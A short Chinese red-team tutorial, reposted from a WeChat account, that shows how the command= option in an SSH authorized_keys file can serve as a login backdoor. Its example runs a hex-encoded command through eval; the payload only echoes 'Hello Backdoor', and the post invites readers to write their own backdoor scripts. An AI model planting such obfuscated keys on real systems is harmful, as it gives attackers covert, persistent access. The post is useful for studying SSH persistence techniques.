我们使用aws服务器,会提示客户不要以 root 身份登录,这个提示从哪来的,通过查询资料,可以发现公钥(id_rsa.pub或者authorized_keys)里面有这段代码
no-port-forwarding,no-agent-forwarding,command="echo 'Please login as the user "ubuntu" rather than the user "root".';echo;sleep 10;exit 142" ssh-ed25519 AAAA...
让我们看下一下后门字符串:这no-user-rc,no-X11-forwarding是一个躲避任何设备监控。可以省略。
字符串command=是真正的执行命令的地方,我们来生成个后门:
command="`###---POWERSHELL---`;eval $(echo 6563686f2048656c6c6f204261636b646f6f72|xxd -r -ps)"
"OpenSSH 执行两个引号...之间的整个字符串"。
这`###---POWERSHELL---`;是个占位符。它什么都不做。
下一个命令eval执行隐藏在编码的十六进制字符串中的命令。
让我们解码十六进制字符串以显示正在执行的实际命令:
$ echo 6563686f2048656c6c6f204261636b646f6f72 | xxd -r -ps
echo Hello Backdoor
当我们登录ssh,就会执行这条命令,后面大家可以自己编写后门脚本。
参考
https://man.openbsd.org/OpenBSD-current/man8/sshd.8#AUTHORIZED_KEYS_FILE_FORMAT
原文始发于微信公众号(红队笔记录):linux另一种后门思路
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论